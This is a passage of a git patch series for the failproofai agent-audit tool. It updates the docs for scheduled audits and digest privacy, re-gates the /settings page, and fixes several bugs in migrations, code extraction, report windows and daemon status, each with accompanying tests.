its copies: the whole + // point of the backup is the state this branch is in. + if (!failed) pruneMigratedCredentials(from); + return { from, steps, backedUp, outcome, failed }; } From 269596032fe59339691d75d9e3e6b6202357c670 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Sat, 15 Aug 2026 14:26:16 +0530 Subject: [PATCH 22/24] Bring the docs to what shipped, and re-gate /settings MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The whole feature landed with `git diff origin/main...HEAD -- docs/` empty, so every page still described the release before it. docs/cli/audit.mdx was the worst of it: it told users to enable scheduling by hand-editing `audit.auto: true` — the exact key whose meaning this release changes — on a page whose Tip said the audit runs "fully offline, no account or network required". The enable path and the privacy claim were both wrong, and they were wrong in the same direction. It now documents the four flags (none of which appeared anywhere in docs/), enumerates what a digest actually sends, carries the redaction caveat rather than implying a guarantee, explains `reports_consented_at` and what an upgrading machine should expect, and points at `audit/schedule.json` instead of the layout-3 path. docs/dashboard.mdx documented the reminder cadence picker and `/api/auth/reminder`, both deleted here, and had no section for the rebuilt settings page at all. The 14 locale copies are generated — `bun run translate` regenerates them from the English source. Also re-gates the settings page. The rewrite dropped the FAILPROOFAI_DISABLE_PAGES -> notFound() check that audit, policies and projects all still carry, and the new gear link sat outside the navbar's filter — so an operator who disabled the page got the page anyway, with a link to it in the header. It is the page that least deserves to lose that gate: it shows the address digests are mailed to and can sign the machine out, on a dashboard that may deliberately be exposed beyond localhost. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_015VjTTZmp2SuMaGS56qPZHf --- app/settings/page.tsx | 9 ++++++ components/navbar.tsx | 32 +++++++++++++-------- docs/cli/audit.mdx | 66 ++++++++++++++++++++++++++++++++++++++----- docs/dashboard.mdx | 31 ++++++++++++++++++-- 4 files changed, 117 insertions(+), 21 deletions(-) diff --git a/app/settings/page.tsx b/app/settings/page.tsx index 397cbff5..8cc34345 100644 --- a/app/settings/page.tsx +++ b/app/settings/page.tsx @@ -1,4 +1,5 @@ import type { Metadata } from "next"; +import { notFound } from "next/navigation"; import { getScheduledAuditAction, type ScheduledAuditView, @@ -27,6 +28,14 @@ export const dynamic = "force-dynamic"; * daemon's status — a cached render would show a stale machine. */ export default async function SettingsPage() { + // Same gate the audit, policies and projects pages carry. It was dropped in + // the rewrite, and this is the page that least deserves to lose it: it shows + // the address digests go to and can sign the machine out, on a dashboard an + // operator may deliberately be exposing beyond localhost. + const disabled = (process.env.FAILPROOFAI_DISABLE_PAGES ?? "") + .split(",").map((s) => s.trim()).filter(Boolean); + if (disabled.includes("settings")) notFound(); + let initial: ScheduledAuditView | null = null; try { initial = await getScheduledAuditAction(); diff --git a/components/navbar.tsx b/components/navbar.tsx index d0789a82..86bfb4d9 100644 --- a/components/navbar.tsx +++ b/components/navbar.tsx @@ -139,17 +139,27 @@ export const Navbar: React.FC<{ {/* Settings sits between the refresh controls and reach-us as an ICON, not a nav tab: it is machine configuration rather than a view of the data, so it belongs with the other chrome controls rather than - beside projects / policies / audit. */} - -
diff --git a/docs/cli/audit.mdx b/docs/cli/audit.mdx index dce3f35d..6118c708 100644 --- a/docs/cli/audit.mdx +++ b/docs/cli/audit.mdx @@ -50,9 +50,12 @@ failproofai - Run `failproofai audit -h` (or `--help`) to see usage. The audit runs **fully - offline** — no account or network required — and the dashboard keeps serving - until you stop it with `Ctrl+C`. + Run `failproofai audit -h` (or `--help`) to see usage. A bare `failproofai + audit` needs **no account**, and **nothing from your sessions leaves this + machine** — anonymous usage counts still apply unless you set + `FAILPROOFAI_TELEMETRY_DISABLED=1`. The dashboard keeps serving until you stop + it with `Ctrl+C`. [Scheduled audits](#scheduled-audits) are the one exception: + they can email you what a scan finds, and you opt into that explicitly. The dashboard scans past agent CLI transcripts on this machine (Claude Code, Codex, Copilot, Cursor, OpenCode, Pi) and reports how often the agent did things failproofai is built to stop — env-var checks, force pushes, redundant `cd ` prefixes, sleep-polling loops, re-reading files just edited, and more. @@ -77,8 +80,47 @@ the background. It is **off by default**, because the scan reads the *contents* of every agent session transcript on this machine — nothing scans on a timer until you ask for it. -Turn it on in `~/.failproofai/config.json` — add the `audit` key alongside -whatever else the file already holds: +Turn it on from the terminal — this works on a headless box, and it is the +only path that also sets up the email digest: + +```bash +failproofai audit --schedule 7 --email you@yourdomain.com +``` + +| Command | What it does | +|---|---| +| `failproofai audit --schedule [days]` | Scan on a timer (default 7, clamped 1–90). Signs you in the first time, because the digest needs somewhere to go. | +| `failproofai audit --schedule [days] --email you@yourdomain.com` | Same, answering the address up front so you go straight to entering the emailed code. | +| `failproofai audit --no-schedule` | Stop scanning on a timer. Leaves you signed in. | +| `failproofai audit --status` | Whether scheduling is on, where reports go, the daemon's state, and when the next scan is due. | + +The same controls live on the dashboard's **/settings** page. Both write the +same `~/.failproofai/config.json` through the same function, so the two are +always in step. + +### What a digest sends + +A scheduled scan can email you when it finds something harmful. That email is +the **only** thing that leaves your machine, and it carries: + +- **finding counts** per builtin policy, +- **redacted example commands** — real command lines with secrets masked and + home paths shortened to `~/…/`, +- **this machine's name** (its hostname) and platform, so a digest from a + fleet says which box it came from. + +Custom-policy names and examples are never included, and an example never +carries tool output or file contents. + + + Redaction is pattern-based: it masks known credential shapes and `KEY=value` + assignments whose name says credential, but it reduces exposure rather than + eliminating it. If a machine's transcripts must never leave it, leave + scheduled digests off — the local scan and its dashboard work exactly the + same without them. + + +You can also set the keys directly in `~/.failproofai/config.json`: ```json { @@ -93,6 +135,15 @@ whatever else the file already holds: |---|---| | `auto` | `true` enables the scheduled scan. Anything else — absent, `false`, `"yes"` — is off. | | `interval_days` | Days between scans. Clamped to 1–90; `0`, a negative or a non-number falls back to `7`. | +| `reports_consented_at` | Written **only** by `--schedule` or the settings toggle, when you sign in and are shown the list above. Emails are sent only if it is present, so hand-editing `auto` on its own gives you the local timer and no digest. | + + + Upgrading from a release before digests existed? `auto` used to mean "scan + locally on a timer" and nothing more. Machines that already had it keep + scanning and send **nothing** until you opt in again with + `failproofai audit --schedule` or the settings toggle — your old setting is + not read as consent to email. + - The schedule is **wall-clock**, so it survives suspend and reboots: a laptop that was asleep past its due time runs **once** on wake, never a backlog. @@ -100,8 +151,9 @@ whatever else the file already holds: hook path, which stays free to answer tool calls. - A scan is skipped if `failproofai audit` or the dashboard's re-run is already in flight; it is retried shortly afterwards rather than treated as a failure. -- Progress is written to `~/.failproofai/state/audit-schedule.json` (last run, - next due). The daemon owns that file — change the cadence in `config.json`. +- Progress is written to `~/.failproofai/audit/schedule.json` (last run, next + due). The daemon owns that file — change the cadence with + `failproofai audit --schedule `, on /settings, or in `config.json`. If you enabled this on a machine set up by an older failproofai, run diff --git a/docs/dashboard.mdx b/docs/dashboard.mdx index 7e921a81..653d6ba5 100644 --- a/docs/dashboard.mdx +++ b/docs/dashboard.mdx @@ -16,7 +16,7 @@ failproofai Opens at `http://localhost:8020`. -The dashboard reads local project, session, and failproofai configuration data directly from the filesystem. Optional authenticated features, such as audit reminders and invitations, send the information needed for those requests (including email addresses) to remote APIs. +The dashboard reads local project, session, and failproofai configuration data directly from the filesystem. Optional authenticated features — invitations, and the [emailed harm digest](/cli/audit#what-a-digest-sends) from a scheduled audit — send the information needed for those requests (including email addresses) to remote APIs. Nothing else leaves the machine. --- @@ -67,7 +67,9 @@ A personality-driven report of how your agent has actually been behaving across 2. **Strengths** — calm ✓ row list of behaviors your agent already does right, derived from the live audit data (clean tool-call rate, no direct pushes to main, zero credential leaks, zero retry storms) — each surfaced only when the relevant policy has a clean record across the audit window. 3. **Quirks** — table of what slipped through, ranked by severity: `when · what slipped + the policy that would've caught it · severity pill · seen`, where the recurrence reads `new` (once), `N× seen` (2–9 times), or `recurring` (10+). 4. **How to improve** — calm row list, one per prescribed policy: policy name in white, one-line description, install command + copy button on the right side. The section header reads `enable all N → projected · ` (the score you'd reach with every fix applied), and its `[install all]` button copies the combined `failproofai policy add a b c …` command for every prescribed policy. -5. **Come back better** — two side-by-side cards. Left: set a reminder (`3d` / `7d` / `14d` / `30d` cadence picker; persists through `/api/auth/reminder` once authed). Right: unlock failproof perks — `invite a friend` opens a modal that takes a comma/space/newline-separated list of friend emails (max 10 per send), POSTs them to `/api/audit/invite`, which forwards to the api-server's `POST /v0/invite`. The api-server sends one email per recipient from `invite@failproof.ai` with the sender Cc'd and `Reply-To` set, so the recipient sees who invited them and the sender gets a copy in their inbox. Anonymous users get routed through the `AuthDialog` first so the sender's email is known before invites go out. Entitlement / perks fulfillment is a follow-up. +5. **Spread the audit** — `invite a friend` opens a modal that takes a comma/space/newline-separated list of friend emails (max 10 per send), POSTs them to `/api/audit/invite`, which forwards to the api-server's `POST /v0/invite`. The api-server sends one email per recipient from `invite@failproof.ai` with the sender Cc'd and `Reply-To` set, so the recipient sees who invited them and the sender gets a copy in their inbox. Anonymous users get routed through the `AuthDialog` first so the sender's email is known before invites go out. Entitlement / perks fulfillment is a follow-up. + + The re-audit **reminder** cadence picker that used to sit beside it is gone, along with its `/api/auth/reminder` route. Recurring scans are a machine setting rather than the end of a report, so they live on **[/settings](#settings)** (the gear in the header) and in `failproofai audit --schedule` — where the same control also runs the scan, rather than only mailing you a nudge to run it yourself. See [scheduled audits](/cli/audit#scheduled-audits). Driven by the `failproofai audit` runtime — see [Audit CLI](/cli/audit) for the underlying scan engine, supported flags, and per-transcript cache invariants. The dashboard caches the latest result at `~/.failproofai/audit-dashboard.json` (mode `0600`, single slot, new runs overwrite) so revisits are instant; **both the per-transcript and whole-result caches are rejected on read once they're older than 7 days** so the dashboard never silently serves a week-old result — past the TTL `/audit` falls through to its empty state and prompts a fresh run. Clicking `[ re-audit now ]` near the bottom of the report POSTs `/api/audit/run` with `noCache: true` — re-audit bypasses the per-transcript cache and re-scans every transcript from scratch rather than silently returning the cached result — and the dashboard polls `/api/audit/status` at 1Hz until the run finishes; a sticky pink progress strip pins to the top of the viewport during the run with an elapsed timer, and the fresh result swaps in place on success (no full-page reload; a failed re-audit leaves the prior report intact). On failure the strip turns red with copy keyed off the `RerunError.kind` (`timeout` / `network` / `post_failed`). Empty state (no cache or expired) and zero-sessions state (cache exists but the scan found no transcripts) are surfaced separately. @@ -90,6 +92,24 @@ A two-tab page for managing policies and reviewing activity. +### Settings + +Reached from the **gear** in the header, at `/settings`. A console for the +background service rather than a preferences page — it opens with a stat row +reading the daemon's state, when the next scan is due, when the last one ran, +and how many findings it turned up, over the controls that change them. + +- **Scheduled audits** — turn the timer on or off and set the interval. Turning + it on requires a signed-in session, because the digest needs a destination; + the panel enumerates exactly what a digest sends before you enable it. +- The countdown reads the daemon's own `next_due_at_ms` rather than deriving one + from the interval, so changing the cadence mid-cycle does not leave the page + reporting a due time the daemon does not agree with. +- Every write goes through the same `updateConfig` that + [`failproofai audit --schedule`](/cli/audit#scheduled-audits) calls, so the + terminal and the dashboard are always in step. Use whichever is in front of + you — the CLI is the one that works on a headless box. + --- ## Auto-refresh @@ -106,7 +126,12 @@ If you only need some parts of the dashboard, set `FAILPROOFAI_DISABLE_PAGES` to FAILPROOFAI_DISABLE_PAGES=policies failproofai ``` -Valid values: `policies`, `projects`, `audit`. +Valid values: `policies`, `projects`, `audit`, `settings`. + +Disabling `settings` also removes the gear from the header, so the page is +neither reachable nor advertised. Worth doing on a dashboard you have exposed +beyond localhost: that page shows the address digests are mailed to and can +sign the machine out. --- From 2c7bcf5e41561f3e2795168edc18d524e20aefde Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Sat, 15 Aug 2026 14:37:29 +0530 Subject: [PATCH 23/24] Seven follow-ups from the review MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **Each migration step stamps its own target.** Every step ended by writing LAYOUT_VERSION, which was harmless while each chain was one hop. On `2 → 3 → 4` the first step marks the home layout 4 with its files still at layout 3, and the window before the second step completes is real: a SIGKILL, an OOM or a power loss inside it leaves a home reading `current` forever, because detectLayout() short-circuits on the marker. The session then sits at the old path, unread, permanently. runMigrations' catch repairs an over-stamp, but a killed process runs no catch — the stamp has to be right as it is written. **A failed copy no longer leaves a partial destination.** copyFileSync is not atomic, so ENOSPC or a kill part-way through the EXDEV fallback left a truncated `to`. The source was still intact at that point — but the retry takes the existsSync(to) branch, reads the fragment as authoritative, and deletes the good original. The branch that exists to protect the credential would have destroyed it. **The report window is clamped against its own end.** window_from is the server's watermark and window_to is this machine's clock, so a backwards jump (NTP correcting a fast RTC, a snapshot restore, a dual-boot machine writing localtime to the hardware clock) put `from` after `to`. Nothing matches such a window, so every finding was dropped — silently and permanently, since the watermark only moves forward, while the outcome line still read normal. **extractCode stops eating the sentence's digits.** The prompt invites pasting the whole line and the real message is `Your failproof code is 123456 (expires in 10 minutes)`, so joining every digit produced `12345610` — eight digits, which passes the 4–12 validator, reaches the server, and burns an attempt. A run long enough to be a code now wins; a genuinely split `123 456` still joins. **A Mac is no longer told its healthy daemon will not run.** daemonServiceStatus needs `sudo -n` to interrogate a LaunchDaemon, so a Mac with no cached credential — the common state — answers "unknown" for a service that is running fine. Treating every non-running value as a fault contradicted the schedule confirmation printed one line above. The dashboard already special-cases it. **Offline is told apart from expired.** whoAmI() returns null for a 401 AND for every transport failure, and the client discriminated on res.ok alone — so a machine behind a proxy hit the 10s timeout, watched the switch snap back, and was told "that sign-in expired", then handed a code prompt that cannot succeed either. What is left on disk separates them: a 401 wipes the session, a network failure leaves it. **/settings can recover from a dead session.** With auto on and the session gone it rendered a warning telling the user to sign in and no control to do it with — the dialog opened only from the off→on toggle and enable()'s rejection path, so recovery meant guessing that toggling off and on was the way through. **The daemon's start time stops counting sleep.** startedAtFromMonotonic mixed systemd's CLOCK_MONOTONIC stamp (frozen across suspend) with os.uptime() (counts suspend), so a laptop that suspends nightly read "up 30d" for a daemon started yesterday. The `< 0` guard only caught the impossible direction; this error is always positive. Both sides now read one clock. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_015VjTTZmp2SuMaGS56qPZHf --- .../actions/update-scheduled-audit.test.ts | 47 ++++++++++++++++++- __tests__/audit/cli-login.test.ts | 18 +++++++ __tests__/audit/harm-report.test.ts | 23 +++++++++ __tests__/hooks/daemon-service.test.ts | 31 ++++++++---- __tests__/hooks/migrations.test.ts | 37 +++++++++++++++ app/actions/update-scheduled-audit.ts | 22 +++++++-- app/settings/settings-client.tsx | 35 ++++++++++++-- src/audit/cli-login.ts | 17 ++++++- src/audit/harm-report.ts | 18 +++++-- src/audit/schedule-cli.ts | 8 ++++ src/hooks/daemon-service.ts | 38 ++++++++++----- src/hooks/fp-reset.ts | 24 +++++++++- src/hooks/migrations.ts | 33 +++++++++++-- 13 files changed, 311 insertions(+), 40 deletions(-) diff --git a/__tests__/actions/update-scheduled-audit.test.ts b/__tests__/actions/update-scheduled-audit.test.ts index 221b7067..0ee7766c 100644 --- a/__tests__/actions/update-scheduled-audit.test.ts +++ b/__tests__/actions/update-scheduled-audit.test.ts @@ -21,8 +21,11 @@ import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; // reads as on and produces nothing. These tests are about the CONFIG WRITE, so // the session check is stubbed to "signed in"; the refusal itself is covered in // the settings component tests. -const { whoAmIMock } = vi.hoisted(() => ({ whoAmIMock: vi.fn() })); -vi.mock("../../lib/auth/auth-store", () => ({ whoAmI: whoAmIMock })); +const { whoAmIMock, readAuthMock } = vi.hoisted(() => ({ + whoAmIMock: vi.fn(), + readAuthMock: vi.fn(), +})); +vi.mock("../../lib/auth/auth-store", () => ({ whoAmI: whoAmIMock, readAuth: readAuthMock })); import { mkdtempSync, readFileSync, rmSync, mkdirSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -123,6 +126,8 @@ describe("a session the server rejects", () => { // from the local session file, the toggle took the signed-in path, and the // click dead-ended on "could not turn that on." whoAmIMock.mockResolvedValue(null); + // `whoAmI()` deletes the session on a 401, so nothing is left on disk. + readAuthMock.mockReturnValue(null); const res = await setAutoAuditAction(true); @@ -132,6 +137,44 @@ describe("a session the server rejects", () => { expect(readConfig().audit.auto).toBe(false); }); + it("tells an OFFLINE machine apart from an expired one", async () => { + // `whoAmI()` collapses them: null for a 401 and null for every transport + // failure. The client discriminated on `res.ok` alone, so a machine behind + // a proxy or with the wifi down hit the 10s timeout, watched the switch + // snap back, and was told "that sign-in expired" — then handed a code + // prompt that cannot succeed either, which is how a working session gets + // abandoned. What is left ON DISK tells them apart: a 401 wipes it, a + // network failure leaves it. + whoAmIMock.mockResolvedValue(null); + readAuthMock.mockReturnValue({ + access_token: "at", + refresh_token: "rt", + access_expires_at: Math.floor(Date.now() / 1000) + 900, + refresh_expires_at: Math.floor(Date.now() / 1000) + 86_400, + user: { id: "u1", email: "sidd@exosphere.host" }, + }); + + const res = await setAutoAuditAction(true); + + expect(res).toEqual({ ok: false, reason: "unreachable" }); + expect(readConfig().audit.auto).toBe(false); + }); + + it("calls a session past its refresh window signed-out, not unreachable", async () => { + // The file being present is not the test — a lapsed refresh token cannot + // mint anything, so the code prompt really is the remedy here. + whoAmIMock.mockResolvedValue(null); + readAuthMock.mockReturnValue({ + access_token: "at", + refresh_token: "rt", + access_expires_at: Math.floor(Date.now() / 1000) - 7200, + refresh_expires_at: Math.floor(Date.now() / 1000) - 3600, + user: { id: "u1", email: "sidd@exosphere.host" }, + }); + + expect(await setAutoAuditAction(true)).toEqual({ ok: false, reason: "signed-out" }); + }); + it("still lets somebody turn scheduling OFF", async () => { // The refusal is one-directional on purpose. An expired session must not // trap a person into keeping a feature they are trying to disable. diff --git a/__tests__/audit/cli-login.test.ts b/__tests__/audit/cli-login.test.ts index db90c242..066ae590 100644 --- a/__tests__/audit/cli-login.test.ts +++ b/__tests__/audit/cli-login.test.ts @@ -170,6 +170,24 @@ describe("extractCode", () => { it("keeps leading zeros, which a numeric parse would eat", () => { expect(extractCode("code 007123")).toBe("007123"); }); + + it("ignores digits the SENTENCE contributes, not just the code's", () => { + // The prompt invites pasting the whole line, and the real message is + // `Your failproof code is 123456 (expires in 10 minutes)`. Joining every + // digit made that `12345610` — eight digits, which passes the 4–12 + // validator, reaches the server, and burns an attempt on a code nobody + // typed. A run long enough to be a code wins outright. + expect(extractCode("Your failproof code is 123456 (expires in 10 minutes)")).toBe("123456"); + expect(extractCode("code 123456 — expires in 10 min")).toBe("123456"); + expect(extractCode("[failproof] 987654 is your code, valid for 5 minutes")).toBe("987654"); + }); + + it("still joins a code that was genuinely split", () => { + // No run reaches the minimum on its own, so these really are one code the + // copy broke apart — which is the case the join was written for. + expect(extractCode("123 456")).toBe("123456"); + expect(extractCode("12-34")).toBe("1234"); + }); }); describe("a preset address", () => { diff --git a/__tests__/audit/harm-report.test.ts b/__tests__/audit/harm-report.test.ts index 79d94953..e79a3581 100644 --- a/__tests__/audit/harm-report.test.ts +++ b/__tests__/audit/harm-report.test.ts @@ -268,6 +268,29 @@ describe("buildHarmReport", () => { expect(r.window_from).toBe(AUG_10); }); + it("never lets the watermark sit AFTER the window it opens", () => { + // The watermark is the server's clock and `scannedAt` is this machine's, so + // a backwards jump between them — NTP correcting a fast RTC, a snapshot + // restore, a dual-boot machine writing localtime to the hardware clock — + // put `from` after `to`. Nothing matches such a window, so every finding + // was dropped: silently, and permanently, because the watermark only moves + // forward so the window never re-opens, while the run's outcome line still + // read normal. + const r = buildHarmReport(result([], AUG_07), AUG_14, 7); + + expect(Date.parse(r.window_from!)).toBeLessThan(Date.parse(r.window_to)); + // One interval back from the scan, so the digest is merely narrow. + expect(r.window_to).toBe(AUG_07); + expect(r.window_from).toBe("2026-07-31T12:00:00.000Z"); + }); + + it("still trusts a watermark that is genuinely inside the window", () => { + // The clamp must not fire on the ordinary case, where it would silently + // widen every window to a full interval and re-report old findings. + const r = buildHarmReport(result([], AUG_14), AUG_10, 7); + expect(r.window_from).toBe(AUG_10); + }); + it("drops history older than the first window", () => { const r = buildHarmReport( result( diff --git a/__tests__/hooks/daemon-service.test.ts b/__tests__/hooks/daemon-service.test.ts index 9137bf65..5bbecd45 100644 --- a/__tests__/hooks/daemon-service.test.ts +++ b/__tests__/hooks/daemon-service.test.ts @@ -1128,32 +1128,47 @@ describe("refreshDaemonToCliVersion", () => { */ describe("startedAtFromMonotonic", () => { const NOW = 1_800_000_000_000; + /** Both arguments are microseconds on ONE clock — see the function's note. */ + const us = (secs: number) => secs * 1_000_000; it("converts a monotonic activation stamp into an epoch start time", () => { - // Host up 100_000s; unit activated at 90_000s since boot ⇒ active 10_000s. - expect(startedAtFromMonotonic(90_000 * 1_000_000, 100_000, NOW)).toBe(NOW - 10_000_000); + // Clock now at 100_000s; unit activated at 90_000s ⇒ active 10_000s. + expect(startedAtFromMonotonic(us(90_000), us(100_000), NOW)).toBe(NOW - 10_000_000); }); it("returns null for a unit systemd has never activated", () => { // systemd writes 0 there. Treated as an absent answer, not as "started at // boot" — which is what a naive conversion would report. - expect(startedAtFromMonotonic(0, 100_000, NOW)).toBeNull(); + expect(startedAtFromMonotonic(0, us(100_000), NOW)).toBeNull(); }); - it("returns null when the stamp is ahead of the host's uptime", () => { + it("returns null when the stamp is ahead of the current reading", () => { // Cannot be true, so it is not rendered. A wrong uptime is indistinguishable // from a right one to whoever reads it, which makes silence the safer answer. - expect(startedAtFromMonotonic(200_000 * 1_000_000, 100_000, NOW)).toBeNull(); + expect(startedAtFromMonotonic(us(200_000), us(100_000), NOW)).toBeNull(); }); it("returns null on unparseable input rather than NaN", () => { // `Number("")` is 0 and `Number("x")` is NaN — both reachable from a // `systemctl show --value` that printed nothing useful. - expect(startedAtFromMonotonic(Number.NaN, 100_000, NOW)).toBeNull(); - expect(startedAtFromMonotonic(90_000 * 1_000_000, Number.NaN, NOW)).toBeNull(); + expect(startedAtFromMonotonic(Number.NaN, us(100_000), NOW)).toBeNull(); + expect(startedAtFromMonotonic(us(90_000), Number.NaN, NOW)).toBeNull(); }); it("reports a just-started unit as now, not as a negative age", () => { - expect(startedAtFromMonotonic(100_000 * 1_000_000, 100_000, NOW)).toBe(NOW); + expect(startedAtFromMonotonic(us(100_000), us(100_000), NOW)).toBe(NOW); + }); + + it("does not add suspended time to the daemon's age", () => { + // The bug this signature change fixes. systemd's stamp is CLOCK_MONOTONIC, + // which STOPS during suspend; `os.uptime()` keeps counting through it. A + // laptop asleep 29 of the last 30 days reads 2_592_000s of uptime while the + // monotonic clock has only advanced 86_400s — so pairing them reported a + // daemon started 30 days ago that in fact started an hour into today. + // + // Same clock on both sides, so the answer is the hour, not the month. + const monotonicNow = us(86_400); + const activatedAt = us(82_800); // one hour of monotonic time ago + expect(startedAtFromMonotonic(activatedAt, monotonicNow, NOW)).toBe(NOW - 3_600_000); }); }); diff --git a/__tests__/hooks/migrations.test.ts b/__tests__/hooks/migrations.test.ts index e7e90403..0be223ca 100644 --- a/__tests__/hooks/migrations.test.ts +++ b/__tests__/hooks/migrations.test.ts @@ -382,6 +382,11 @@ describe("the backup taken before a migration", () => { expect(run.failed).toBeDefined(); expect(existsSync(resolve(migrationBackupDir(3), "auth.json"))).toBe(true); + // The source survives a failed move — the step is documented not to roll + // back, so the next command retries from exactly this state. + expect(existsSync(legacy.authJson())).toBe(true); + // And the home is NOT marked current, or nothing would ever retry. + expect(readVersionFile()?.layout).toBe(3); }); it("prunes nothing when the session never arrived at its new home", () => { @@ -561,6 +566,38 @@ describe("runMigrations", () => { writeFileSync(versionFile(), 'layout = 2\ncli = "1.0.0-beta.5"\n'); } + it("marks the home with each step's OWN target, never the current layout", () => { + // Every step used to end stamping LAYOUT_VERSION, which was harmless while + // each chain was one hop. On `2 → 3 → 4` the first step marks the home + // layout 4 with its files still at layout 3, and the gap between that stamp + // and the second step completing is a real window: a SIGKILL, an OOM or a + // power loss inside it leaves a home reading `current` forever, because + // `detectLayout()` short-circuits on the marker and never re-examines the + // landmarks. The session then sits at the old path, unread, for good. + // + // `runMigrations`' catch repairs an over-stamp, but a killed process runs + // no catch — so the stamp has to be right as it is written, and this pins + // the first step's value rather than only the chain's end state. + seedLayoutTwo(); + const stamps: number[] = []; + const chain = planMigration(2).map((step) => ({ + ...step, + run: () => { + const out = step.run(); + stamps.push(readVersionFile()?.layout ?? -1); + return out; + }, + })); + + const run = runMigrations(2, chain); + + expect(run.failed).toBeUndefined(); + // One entry per step, each naming where that step actually landed. + expect(stamps).toEqual(chain.map((s) => s.to)); + expect(stamps[0]).toBe(3); + expect(readVersionFile()?.layout).toBe(LAYOUT_VERSION); + }); + it("records every step in the ledger with the CLI that ran it", () => { // The ledger answers "what has this machine actually been through", which is // the first question a support conversation asks and the one that was diff --git a/app/actions/update-scheduled-audit.ts b/app/actions/update-scheduled-audit.ts index 9f3756c4..0c6eabfa 100644 --- a/app/actions/update-scheduled-audit.ts +++ b/app/actions/update-scheduled-audit.ts @@ -18,7 +18,7 @@ */ import { readConfig, updateConfig } from "@/src/hooks/fp-config"; -import { whoAmI } from "@/lib/auth/auth-store"; +import { readAuth, whoAmI } from "@/lib/auth/auth-store"; /** * The outcome of trying to turn scheduling on. @@ -36,7 +36,18 @@ import { whoAmI } from "@/lib/auth/auth-store"; */ export type SetAutoAuditResult = | { ok: true; auto: boolean } - | { ok: false; reason: "signed-out" }; + | { ok: false; reason: "signed-out" } + /** + * The session is intact locally and the api-server could not be reached. + * + * Separated from `signed-out` because `whoAmI()` collapses them: it returns + * null for a 401 AND for every transport failure, so an offline machine, a + * proxy that blocks the host, and a genuinely expired token were one answer. + * The user was told "that sign-in expired" and handed a code prompt that + * cannot succeed either — the failure it names is not the failure they have, + * and following its advice costs them a real, working session. + */ + | { ok: false; reason: "unreachable" }; /** * Turn the scheduled scan on or off. @@ -67,7 +78,12 @@ export async function setAutoAuditAction(enabled: boolean): Promise Date.now(); + return { ok: false, reason: stillWithinWindow ? "unreachable" : "signed-out" }; } } // Enabling stamps consent in the same write, because the `whoAmI()` above is diff --git a/app/settings/settings-client.tsx b/app/settings/settings-client.tsx index a8aa5fe1..bb0f74a7 100644 --- a/app/settings/settings-client.tsx +++ b/app/settings/settings-client.tsx @@ -313,12 +313,20 @@ export default function SettingsClient({ initial }: { initial: ScheduledAuditVie try { const res = await setAutoAuditAction(true); if (!res.ok) { + setAuto(false); + if (res.reason === "unreachable") { + // The session is fine and the network is not. Offering a code prompt + // here would name a failure the user does not have and hand them a + // flow that cannot succeed either — and abandoning it mid-way is how + // a working session gets replaced with none at all. + toast("could not reach the server. check your connection and try again."); + return; + } // The server rejected the session this page had been showing an address // for — expired, or minted against a different api-server. The local // file is the only thing that said "signed in", and `whoAmI` has since // cleared it, so re-read before opening the dialog: otherwise the page // asks for an email while still displaying one. - setAuto(false); await reload(); setAuthOpen(true); toast("that sign-in expired. one more code and it's on."); @@ -575,10 +583,27 @@ export default function SettingsClient({ initial }: { initial: ScheduledAuditVie ) : auto ? ( - - signed out — scans continue, digests are paused. sign in to - resume them. - + // A control, not just a sentence. This state told the user + // to sign in and gave them nothing to sign in WITH: the + // dialog opened only from the off→on toggle and from + // `enable()`'s rejection path, so somebody whose session + // died while the timer stayed on had to guess that toggling + // off and back on was the way through. The CLI recovers + // from this in one command; the dashboard could not recover + // from it at all. + <> + + signed out — scans continue, digests are paused. + + + ) : ( turning this on asks for an email, so there is somewhere to diff --git a/src/audit/cli-login.ts b/src/audit/cli-login.ts index 1d90438e..4bad043e 100644 --- a/src/audit/cli-login.ts +++ b/src/audit/cli-login.ts @@ -68,8 +68,21 @@ const ANSI_DIM_BAR = "\x1B[2m"; export function extractCode(raw: string): string { const trimmed = raw.trim(); if (/^\d+$/.test(trimmed)) return trimmed; - const digits = trimmed.replace(/\D+/g, ""); - return digits.length > 0 ? digits : trimmed; + const runs = trimmed.match(/\d+/g) ?? []; + if (runs.length === 0) return trimmed; + // A run long enough to BE a code wins outright. + // + // Joining every digit in the line was the whole rule, and the prompt's own + // hint ("paste the whole line if you like") walks straight into it: the real + // message reads `Your failproof code is 123456 (expires in 10 minutes)`, so + // the join produced `12345610` — eight digits, which passes the 4–12 + // validator, reaches the server, and burns an attempt on a code nobody typed. + // Anything the sentence adds after the code is short; the code is not. + const whole = runs.find((run) => run.length >= CODE_MIN); + if (whole) return whole; + // Otherwise the digits really are split — a copied `123 456` — and joining + // them is the reconstruction that was always intended. + return runs.join(""); } export interface SignedIn { diff --git a/src/audit/harm-report.ts b/src/audit/harm-report.ts index 067dd524..74271e00 100644 --- a/src/audit/harm-report.ts +++ b/src/audit/harm-report.ts @@ -236,9 +236,21 @@ export function buildHarmReport( const watermark = ts(lastReportedAt); const isFirstReport = watermark === null; - const from = isFirstReport - ? new Date(windowTo.getTime() - Math.max(1, intervalDays) * 86_400_000) - : new Date(watermark); + const oneInterval = Math.max(1, intervalDays) * 86_400_000; + const fallbackFrom = windowTo.getTime() - oneInterval; + + // The watermark is the SERVER's clock; `windowTo` is this machine's. A + // backwards jump between them — NTP correcting a fast RTC, a VM restored from + // a snapshot, a dual-boot machine that wrote localtime to the hardware clock + // — leaves `from` LATER than `to`, and `selectHarmful` then matches nothing + // at all. That drops every finding silently and permanently: the watermark + // only ever moves forward, so the window never re-opens, while the run's + // outcome line still reads normal. The scheduling lane already repairs this + // class of jump; the reporting half did not. One interval back is a digest + // that is narrower than it should be, rather than one that is empty forever. + const from = new Date( + isFirstReport || watermark >= windowTo.getTime() ? fallbackFrom : watermark, + ); return { window_from: from.toISOString(), diff --git a/src/audit/schedule-cli.ts b/src/audit/schedule-cli.ts index f5d419ab..8a141e43 100644 --- a/src/audit/schedule-cli.ts +++ b/src/audit/schedule-cli.ts @@ -298,6 +298,14 @@ function describeDaemon(status: ReturnType): string function warnIfDaemonWontRun(): void { const status = daemonServiceStatus(); if (status === "running") return; + // 